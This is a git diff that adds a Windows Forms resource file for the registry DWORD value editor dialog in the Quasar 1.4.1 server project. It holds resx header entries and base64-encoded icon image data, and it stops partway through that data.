a/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditWord.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditWord.resx new file mode 100755 index 0000000..2c59259 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditWord.resx @@ -0,0 +1,659 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo + If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL + Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex + Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub + lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S + zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW + 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI + hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo + If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl + Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo + Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// + /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AU8/ODs6KiPBNSUe/zkpIv83JyD/NCQd/Toq + I7tZSUI1////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWtbVB8+LiedNiYf9zcnIP85KSL/OSki/zcn + IP83JyD/NiYf/zUlHvVCMiubZVVOGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVJCOwlHNzB3Nycg7zYmH/85KSL/OCgh/zkp + Iv9NPTb/RTUu/zgoIf84KCH/OCgh/zYmH/83JyDrSTkycWNTTAf///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AUs7NANPPzhROCgh1zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/1xNRv9XR0D/OSki/zkpIv85KSL/OSki/zgoIf80JB3/Oioj0UExKkVgUEkD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFcTEUtPS0mtTMjHP04KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv83KCH/cGNe/2FUT/85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NSUe/UAw + KbE/Lygn////Af///wH///8B////Af///wH///8B////Af///wFUQzwVQTEqkzMjHPU3JyD/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zMjHP+Ngnz/eGtl/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Nycg/zUlHvNAMCmNTz84E////wH///8B////Af///wGyopsDSTkyVTUlHuU1JR7/OSki/zgo + If84KCH/OCgh/zgoIf83JyD/NSUe/zQkHf8xIBn/JRYQ/56Wk/+Sh4P/KRgS/zMiG/81JR7/Nycf/zgo + If84KCH/OCgh/zkpIv85KSL/OCgh/zYmH/83JyDjRjYvTf///wH///8B////AWNTTD82Jh/pOCgh/zkp + Iv85KSL/OSki/zUkHf8sHBT/OSkh/1pKRP+He3b/pp6a/7KrqP+1ran/6eXk/+Da2P+upJ//opiU/46B + fP9uYFr/Szw2/zMjHP8xIBn/OCgh/zkpIv85KSL/OSki/zgoIf81JR7haFhRM////wH///8BUUE6VTgo + IfU4KCH/OSki/zYmH/8vHRb/cWRf/8K7uP/Y09H/raWh/4B0b/9cTEb/RDQs/yoZFP/k4N7/2NPR/ykX + D/85KSL/SToz/2ZXUP+JfHb/npGL/4t/ev9QQTr/Lh4W/zkpIv84KCH/OSki/zgoIe1uXldF////Af// + /wFTQzxTNycg9TgoIf8wIBj/X09J/9rW1P+upqL/UUI7/y0cFP8sHBT/MyMc/zkpIv87KyT/SDgw//n4 + 9//18/P/PCwl/zssJf85KSP/OSki/zIiG/8sHBT/OCgg/21gWf+UiIL/Py8n/zYnIP85KSL/OCgh625e + V0P///8B////AVNDPFM3JyD1NSUf/21fWf/k4N//U0M8/y0cFP83Jh//OCgh/zIiG/8zIxz/Py8o/0k4 + Mv+HeXX/9e7r//n08f+CdXH/Rzcw/zoqI/84KCH/OCgh/zcnIP85KSL/NCQd/zIhGv+JeXP/RDQt/zkp + Iv84KCHrbl5XQ////wH///8BU0M8UzgoIfUzIhv/4dzb/1JCPf82Jh//OCgh/zYmH/9AMCn/lYV+/8Cw + qf/Pv7j/3c3G/8Gxqv+Id3H/X05H/1REPv9MPDX/Oioj/zEhGv8vHxj/NCQd/zgoIf85KSL/OSki/y4e + F/+Ab2n/MyMc/zgoIetuXldD////Af///wFTQzxTOCgh9TYnIP+7sq//MSAZ/zcnIP82Jh//Pi4n/8y8 + tf/QwLn/zLy1/8W1rv9RQj//UUM+/4yAfP+6raj/x7ix/8a1rf/Lu7T/uqqj/56Oh/9nV1D/MyMc/zcn + IP84KCH/Lx8Y/3FhWv8xIRr/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/y0cFP85KSL/QjIr/3Zm + X/9pWVL/1cW+/8y8tf/Ovrf/RTg0/8rEwf/+/f3///7+///////+/f3/7+jl/6SUjP/Nvbb/0MC5/9XF + vv/EtK3/Rzcw/zYmH/9FNS7/X09I/zgoIf84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OCgh/zUl + Hv9tXVb/p5eQ/zgoIf/Lu7T/z7+4/7ioof+WjIj///7+///+/v/////////////+/v//////4dnV/1FA + Ov+/r6j/zb22/86+t/+snJX/PS0m/19PSP80JB3/OSki/zgoIetuXldD////Af///wFTQzxTNycg9Tgo + If85KSL/Nycg/1lJQv/czMX/eWli/zUlIP+Ccmz/t6eg/6KTjP/39vX///////////////////////z5 + +f/YycL/fm5n/2JSTP/Vxb7/zb22/6ublP8xIRr/NSUe/zgoIf85KSL/OCgh625eV0P///8B////AVND + PFM3JyD1OCgh/zkpIv85KSL/MCAZ/5SEff/ezsf/wbGq/39vaf9aSkT/Tz84/2lZUv/6+fj///7+///+ + /v/8+/r/0MC5/9TFvv9BMSv/hHRt/9fHwP/Pv7j/Sjoz/zcnIP84KCH/OCgh/zkpIv84KCHrbl5XQ/// + /wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv84KCH/MCAZ/2ZWT/+1pZ7/2srD/97Ox//by8T/08K6/+/o + 5P///v7///7+//Lr5/+9rKX/Tz84/29gW//UxL3/kIB5/zsrJP82Jh//OCgh/zkpIv85KSL/OSki/zgo + IetuXldD////Af///wFTQzxTNycg9TgoIf85KSL/OSki/zgoIf84KCH/NSUe/zAgGf9ENC3/ZlZP/4V1 + bv+YiIH/vrKt//////////7/fnBs/zQkHf9jU03/ZVVO/zkpIv8wIBn/NiYf/zYmH/84KCH/OSki/zkp + Iv85KSL/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgo + If83JyD/NCQd/zMjHP8+Lin/9/b2//Py8f84JyD/OCgh/zYmH/83JyD/OCgh/zgoIf9PQDr/Tj44/zkp + Iv85KSL/OSki/zkpIv84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv85KSL/OCgh/zgp + If9HNjD/Nych/zgoIf84KCH/OCgh/y0cFP/k4N7/2NPR/ysaE/84KCH/OCgh/zkpIv85KSL/KxsV/7Sr + qf+1rKr/KxsV/zkpIv85KSL/OSki/zgoIetuXldD////Af///wFRQTpVNycg9TgoIf85KSL/OSki/zkp + Iv84KCH/TkA8/9jRzv9AMy7/Nycg/zkpIv84KCH/KhkS/8C4tf+yqqb/LR0W/zkpIv85KSL/OSki/zUl + Hv9wYlv//v39//79/f9vYVv/NSUe/zkpIv85KSL/OCgh7W1dVkX///8B////AVpKQ0U3JyDtOSki/zkp + Iv84KCH/OSki/zcnIP+nnZj/7uvp/46EgP8xIBn/OSki/zkpIv8vHxj/oJeU/5SJhP8xIRv/OSki/zYm + H/8+Lif/NSQd/ywcFv+nnpr/p56a/ywcFv85KSL/OSki/zkpIv83JyDlc2NcOf///wH///8Bh3dwBUU1 + Lmc3JyDzNycg/zgoIf85KSL/OCgh/zEgGv+Ngn3/LBsV/zkpIv85KSL/OSki/zMjHP+Lf3r/dWlk/zYn + IP86KiP/U0Q///n49/91Z2L/MyMc/0o6M/9IODL/OSki/zkpIv83JyD/NCQd70o6M1+jk4wD////Af// + /wH///8B////AVVFPiU/LyipNiYf+zgoIf84KCH/OCgh/zEhGv85KSL/OCgh/zkpIv84KCH/OCgh/29i + Xf9hU0//Oioj/zkpIv89LCX/n5aS/0o8Nf84KCH/NyYg/zYmH/84KCH/NSUe+UIyK6NeTkch////Af// + /wH///8B////Af///wH///8B////Af///wFJOTJBOyskyTQkHf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/W0tF/1ZHQP85KSL/OSki/zgpIv8uHhb/Nycg/zkpIv85KSL/NSUe/zsrJMdSQjs7////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIHSjozZTcnIOc3JyD/OCgh/zgo + If85KSL/OSki/zkpIv9LOzT/RjYv/zgoIf85KSL/OCgh/zcnIP84KCH/Nycg/zoqI+VFNS5deGhhBf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BTz84E0Q0 + LY00JB31NiYf/zkpIv85KSL/OSki/zkpIv83JyD/OCgh/zkpIv84KCH/Nycg/zgoIfM+LyiFWEhBEf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUExKi0/LyizNSUe+zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zQkHfs+LierSDgyKf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AV1NRgNBMSpHOiojzzMjHP84KCH/OCgh/zQkHf86KiPNRzcwQ/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFVRT4JSjozbzYmH+E4KCHfQjIraUg4 + MQn///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAoAAAAMAAAAGAAAAABACAAAAAAAIAlAAAAAAAAAAAAAAAAAAAAAAAA////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wFuXlYDUEA5Kz8vKHs8LCXNPy8oyUY2L3NURD0lVkY/A////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUU1LhVGNi9ZPS0mwzQkHfc2Jh//NSUe/zYmH/U7KyS7RTUuT0o6MxP///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BV0dAQz4uJ6M2Jh/nNSUe/zgoIf85KSH/Nycg/zcnIP82Jh/9Nycg40U1 + Lp1VRT45////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8Ba1tUCVNDPDVDMyyNOSki7zMjHP83JyD/OSki/zkpIv84KCH/Nycg/zgo + If83JyD/NiYf/zIiG/83JyDpRTUui1hIQTFjU0wH////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wFeTkcbRDQteT0tJs81JR75NSUe/zgoIf83KCH/OSki/zYm + H/9JOTL/Py8o/zYmH/83JyD/Nycg/zcnIP82Jh//NSUe+TwsJcdCMitxaFdRF////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUkI6B1JCO0lAMCmzNSUe8zYmH/84KCH/OSki/zgo + If84KCH/OCgh/zEhGv9jU0z/WEhB/zIiG/84KCH/OCgh/zgoIf84KCH/OCgh/zYmH/82Jh/xQDApr1pK + Q0NjU0wF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVREPQ1TQzw5QDApsTMjHPM1JR7/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/y0dFv94aWL/cF9Y/y0dFv85KSL/OSki/zkoIf85KSL/OSki/zko + If84KCH/NCQd/zMjHPFFNS6pRTUuMUc3MAv///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wGAb2gDUUE6LzwsJYM6KiPXNSUe/zcn + IP84KCH/OSkh/zkpIv85KCH/OSkh/zkpIv85KCH/OCki/ysaE/+He3b/f3Bq/ysaFP84KCH/OCgi/zkp + Iv85KCH/OCgi/zkpIv84KCH/OCgh/zcnIP80JB3/NiYfz0ExKntcTEUr////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVhIQQ9cTEVVPCwlzTQk + HfM2Jh//OCgh/zgoIf84KCH/OSkh/zgoIf85KSH/OSkh/zgoIf85KSH/Nycg/ysbE/+dk4//h3x4/ygY + Ef85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/Nycg/zYmH/M8LCXJPCwlTVJD + Owv///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wFUQzwRTDw1Vzkp + IrswIBn3NSUe/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/NiYf/y8f + F/+3rqr/m5KN/ywbFP83KCH/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkp + Iv81JR7/NCQd9z8vKLdGNi9PTz83D////wH///8B////Af///wH///8B////Af///wH///8BXExFB0s7 + NDc7KySPOSki6zUlHv03JyD/OCgh/zgoIf84KCH/OSkh/zkpIv85KCH/OCgh/zgoIf84KCH/OSkh/zkp + Iv84KCH/NSQd/zQjHP/Dvbn/sqii/zEgGP82JiD/OCgh/zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zkp + Iv85KCH/OCgi/zkpIv85KSL/Nycg/zUlHv02Jh/lPy8oiUg4MTNFNS0F////Af///wH///8B////Af// + /wGyopsFWkpDVTMjHM80JB33NiYf/zgoIf85KSL/OCgh/zkpIv84KCH/Nycg/zgoIf84KCH/Nycg/zUl + Hf80JBz/MiIb/zAfGP8sHBT/JhYQ/y8iHv/KxsT/wLq3/ykZFP8oGBH/Lx8Y/zIiG/80JB3/NiYe/zcn + IP84KCH/OCgh/zcnIP84KCH/OSki/zkpIv85KSL/OCgh/zgoIf83JyD/NiYf9zcnIMlPPzhJWUpDA/// + /wH///8B////Af///wFuXldRPi4n1TAgGf84KCH/OSki/zkpIv85KSL/OSki/zkpIv82Jh//MSEa/zAg + GP81JR3/Pi0m/0s7Nf9kVU7/d2tl/4Z8d/+TiIT/m5CL/7Cmov/u7Or/5+Ti/6CTj/+TiIT/gnZx/3Nm + YP9lVlD/Tj84/0Q0Lf86KiT/MyMc/zIiG/81JR3/OCgh/zkpIv85KSL/OSki/zkoIf85KSL/OCgh/zMj + HP85KSLLYFBJQf///wH///8B////Af///wFSQjt/Oysk8TUlHv84KCH/OSki/zkpIv86KiP/NSUe/y4d + Ff8wHhf/Tj44/3VoY/+gl5T/wbq3/8vFw//W0M7/z8nG/721sv+ooZ7/lIuI/7CopP/18/P/8O3s/6SY + k/+ShoD/mY6J/6CXkv+mnJf/r6Sf/6memP+bjoj/fG5p/1lJQ/88LCX/Lx8Y/zMiG/85KSL/OCgi/zkp + Iv85KCH/OCgh/zIiG/8/Lyjjb19YZf///wH///8B////Af///wFSQjt/Oysk8TQkHf83KCH/OSki/zop + Iv8wHxj/KhgQ/1lKRP+imJT/3NnX/9/b2f/Iwr//kYeC/2tdV/9SRD3/Py4o/zgnH/8yIRn/IRAN/3tu + af/z8fD/7evq/2xeWP8lFA3/Lx8Y/zAfGP82Jh//QTAp/1BAOv9sXVb/in13/6GVj/+lmpX/cGNd/zsr + JP8pGBD/OCgh/zkpIv84KCH/OSki/zMjHP8/LyjjbV5XZ////wH///8B////Af///wFTQzx9Oysk8TQk + Hf84KCH/NSUe/y4cFf9RQDn/v7i1/+bj4v/Gwb7/dmlk/z8vKP8qGBD/JhQN/ykZEv8yIhv/OSki/zoq + I/88LCX/MyIZ/6qgnP/7+vr/+fj4/5mPjP8uHhf/PCwl/zoqI/85KSP/OSki/zUlHv8rGxT/JhUN/y8e + F/9GNi//gHNt/5+Uj/9+cWv/NiYe/zIiG/84KCH/OSki/zMjHP8+Lifjbl5XZf///wH///8B////Af// + /wFTQzx9Oysk8TQkHf84KCH/MCAZ/3BiXP/X0s//zMbD/3dqZP89LCX/KhkS/y8eF/81JR7/OSki/zkp + Iv83JyD/MyMc/zEhGv8tHBb/OCkl/83HxP/+/v7//f39/763tP8yIx//MiIb/zUlHv84KCH/OCgi/zkp + Iv85KSL/OCgh/zUkHf8vHhf/MB4X/0U1Lv98bmj/kIF6/0Y2L/8zIxz/OSki/zMjHP8+LifjbV5XZf// + /wH///8B////Af///wFTQzx9Oysk8TQkHf8yIRv/YVJL/+Hd2v/JwsD/QzIr/y0cFf8zIhv/Nycg/zgo + If83JyD/MSEa/ywcFf80JB3/RTUu/1VFPv9dTUb/f3Br/9/Uz//w5eD/9Ovm/+Tc2P9+b2r/WEhB/0g4 + Mf85KSL/OCgh/zcnIP84KCH/Nycg/zcnIP85KSL/Nycg/zQjHP8xIBn/YlNM/4t7dP89LSb/OCgh/zMj + HP8+Lifjbl5XZf///wH///8B////Af///wFTQzx9Oysk8TMjHP8uHRb/ysK//8zGxP9ALyj/MSEa/zkp + Iv84KCH/Nycg/zMjHP85KSL/bFxV/5uLhP+3p6D/y7u0/9XFvv/fz8j/2cnC/7yrpP+jkov/g3Fq/3Ff + WP9uXlj/X09I/1FBOv84KCH/MiIb/zEhGv8zIxz/NiYf/zcnIP84KCH/OSki/zkoIf85KSL/Lh4X/2VV + Tv9zYlz/MiIb/zMjHP8+Lifjbl5XZf///wH///8B////Af///wFTQzx9Oysk8TAgGf87KyT/8/Hw/5eM + iP8pGRP/Oioj/zcnH/82Jh//NCQd/0U1Lv+djYb/08O8/9fHwP/Swrv/1MS9/9PDu/+mlpD/YlNN/0Q2 + Mv9AMCv/Szoy/1dGP/9iUUv/bl5X/3JjW/9yYlv/ZVVO/1ZGP/9DMyz/MCAZ/y4eF/81JR7/OSki/zkp + Iv84KCH/NCQd/0MyLP+AcGn/KxsU/zQkHf8+LifjbV5XZf///wH///8B////Af///wFTQzx9Oysk8TIj + G/83JyD/pJiT/2ZYUf8yIRr/OCgh/zQkHf84KCH/OCgh/5WFfv/Wxr//zb63/8y8tf/Ovrf/yrqz/25g + W/8wIh//YFNO/5eMif+8sq7/2M7K/97Tzv/ZysP/z762/9PCu//Xx8D/zLy1/8a2r/+1pZ7/jHx1/1dH + QP8wIBn/NCQd/zkpIv84KCH/NSUe/0IyK/94aGH/LR0W/zQkHf8+Lifjbl5XZf///wH///8B////Af// + /wFTQzx9Oysk8TQkHf83JyD/KBYP/zEhGf86KiP/NCQd/3RkXf9aSkP/Szs0/8OzrP/Pv7j/zLy1/86+ + t//Swrv/WUtG/1JHRP/IwL3//Pz7///+/v///v7///////7+/v/8+/v/7+fj/8O0rv+vnpf/0cK7/9HB + uv/Swrv/2cnC/9bGv/+pmZL/QTEq/zMjHP84KCH/MyMc/2hYUf9WRj//Nycg/zMjHP8+Lifjbl5XZf// + /wH///8B////Af///wFTQzx9Oysk8TQkHf83KCD/NiYf/zgoIf82Jh//QjIr/7Kim/9nV1D/QDAp/7mp + ov/Tw7z/y7u0/9PDvP+vn5j/Rzo0/9DLyP/+/f3///7+///+/v/+/v7////////+/v/+/v7//v7+/+vm + 5P+cjYf/e2tk/8Gxqv/QwLn/y7u0/9DAuf/aysP/nIyF/zkpIv8wIBn/XU1G/2lZUv84KCH/OSki/zMj + HP8+LifjbV5XZf///wH///8B////Af///wFTQzx9Oysk8TQkHf84KCH/OCgh/zkpIv8xIRr/UUE6/8m5 + sv+Whn//JhYP/3NjXP/Rwbr/1MO8/9bFv/+nl4//bmFc//v5+f///v7///7+//7+/v/////////////+ + /v///v7///////79/f/g1M7/YE9J/11NR//Gtq//z7+4/8y8tf/Ovrf/x7ew/1ZGP/9VRT7/W0tE/zkp + Iv82Jh//OSki/zMjHP8+Lifjbl5XZf///wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkp + Iv81JR7/Rzcw/7urpP/ZycL/cmJb/y4eF/9JOTP/nIyF/7+vqP/MvLX/koJ8/9XPzP/9/Pz///////// + /////////////////////////v39//Hq5//Xx8D/oZGK/ywcGP+IeHL/2cnC/8y8tf/Nvbb/x7ew/1dH + QP85KSL/MiIb/zcnIP83KCH/OSki/zMjHP8+LifjbV1XZf///wH///8B////Af///wFSQzx9Oysk8TQk + Hf84KCH/OSki/zkpIv85KSL/MyMc/4R0bf/XxsD/zr63/5eHgf9XR0L/OSoj/0Q1MP9cTEb/cmFa/3xu + aP/DvLn///////7+/v///////v7+////////////7ufk/9TFvv/Xx8D/jX12/ygYEf+BcWr/2cnC/829 + t//aysP/no6H/zkpIv8zIxz/Nycg/zgoIf84KCH/OSki/zMjHP8+LifjbV1WZf///wH///8B////Af// + /wFSQzx9Oysk8TQkHf84KCH/OSki/zkpIv85KSL/NSUe/zwsJf+Whn//3s7H/93Nxv/Lu7T/qZmS/4x8 + df9yYlz/X09I/08+N/9zY1v/9PLw///+/v///v7///7+//7+/v/49fT/zb22/9PDu//Nvbb/QzMt/zYm + IP+tnZb/2cnC/9vLxP+8rKX/RjYv/zIiG/84KCH/OCgh/zgoIf84KCH/OSki/zMjHP8+LifjbV1XZf// + /wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkpIv85KSL/OCgh/zQkHf8uHhf/cWFa/7Gh + mv/Nvbb/3c3G/97Ox//dzcb/3MzF/9jIwf/OvbX/6uHc//7+/v///v7///7+///+/f/r4dz/z722/62d + lv9NPTb/PS4r/6aWj//czMX/uKih/3trZP84KCH/MiIb/zgoIf84KCH/OSki/zkpIv85KSH/OSki/zMj + HP8+LifjbV1XZf///wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkpIv85KSL/OCgh/zgo + If81JR7/Lh4X/0AwKf9kVE3/kIB5/6+fmP/Bsar/z7+4/9TEvf/RwLn/5NfR//37+v///////v7+//f1 + 9P++r6n/cF9Z/0c3MP9SQjv/nY2G/6eXkP95aWL/RjYv/y8fGP8yIhv/OCgh/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zMjHP8+LifjbV1WZf///wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkp + Iv85KSL/OCgh/zgoIf84KCH/Nycg/zQkHf8yIhv/OCgh/z8vKP9PPzj/YlJL/3NjXf99bWX/koN8/+jk + 4v/////////+/9LNyv9IODX/MiEb/009Nv9dTUb/Tj43/zwsJf8zIxz/MiIb/zYmH/80JB3/NCQd/zco + IP84KCH/OSki/zkpIf85KSH/OSki/zMjHP8+LifjbV1XZf///wH///8B////Af///wFSQzx9Oysk8TQk + Hf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zgoIf85KSL/OCgh/zcnIP82Jh//MyMc/zAg + Gf8wIBj/KhoY/7Copf/8+/v/+vn5/6GXk/8uHRX/OSoj/zQkHf81JR7/NiYf/zcnIP84KCH/OCgh/zEh + G/9WRj//VUU+/zEhGv84KCH/OSki/zkpIv85KSH/OSki/zMjHP8+LifjbV1XZf///wH///8B////Af// + /wFSQzx9Oysk8TQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zMjHP8xIBn/Oioj/zkp + Iv84KCH/OCgh/zgnIP85KSL/LBsU/5GHgv/39vb/9PLx/4N3cv8tHBX/OCgh/zcnIP84KCH/OCgh/zkp + Iv85KSL/NSUe/ycWEP+hl5P/oJWS/ygXEv82Jh//OSki/zkpIv85KSL/OSki/zMjHP8+LifjbV1WZf// + /wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv84KCH/OCgh/0o6 + M/9TQz3/NSUe/zgoIf84KCH/OCgh/zgoIf84KCH/Lx4X/3NmYP/v7ez/6Obl/2FTTv8xIRr/OCgh/zgo + If84KCH/OSki/zkpIf85KSL/Lx8X/1xMSP/g3Nv/4Nzb/1pLR/8vHxn/Oioj/zkpIf85KSH/OSki/zMj + HP8+LifjbV1XZf///wH///8B////Af///wFSQjt/Oysk8TQkHf84KCH/OSki/zkpIv85KSL/OSki/zkp + Iv84KCH/MyUg/5iPjP/Bubb/Jxwa/zYlH/84KCH/OSki/zkpIv84KCH/MSEa/1JCPP/g3Nr/2NPR/0o5 + M/80Ixz/OSki/zkpIv85KSH/OSki/zkpIv8xIRr/VkU//9jU0f/+/v7//v7+/9fSz/9WR0D/MSEa/zkp + Iv85KSH/OSki/zMjHP8+LifjbV1WZ////wH///8B////Af///wFSQjuBOysk8zUlHf84KCH/OSki/zkp + Iv85KSL/OSki/zYmH/84KCD/raOe/+Dc2f/s6ej/rKOg/1JDPf8yIhv/OCki/zgpIf85KSL/MyMc/0Q0 + LP/Tz83/ysTC/zoqI/80JB3/OCgh/zkpIv85KSL/MiIb/zUlHf82Jh//PCsl/5GGgv/w7u3/8O7t/5CF + gv88LCX/Nycg/zkpIv85KSL/OSki/zMjHP89LSblbFxVaf///wH///8B////Af///wFgUElbPCwl3TMj + HP84KCH/OSki/zgoIf84KCH/OSki/zcnIP84KCH/fG9p/8O7uP/b2NX/d2tm/0c4Mf81JB3/OSgi/zkp + Iv85KSL/NCQd/zcmH//HwsD/u7Ov/zMhGv82Jh//OSki/zkpIv8zIhv/Rzcv/z4uJv80Ixz/NCQd/zQj + Hf/AuLX/wLm1/zQjHf8zJB3/OSki/zkpIf85KSH/OCgh/zEhGv8/LyjTeGhhTf///wH///8B////Af// + /wGHd28LUEA5ZTMjHN02Jh/9OCgh/zgoIf84KCH/OCki/zkpIv84KCH/KxoU/3ptaP+dlZD/IRAL/zUk + 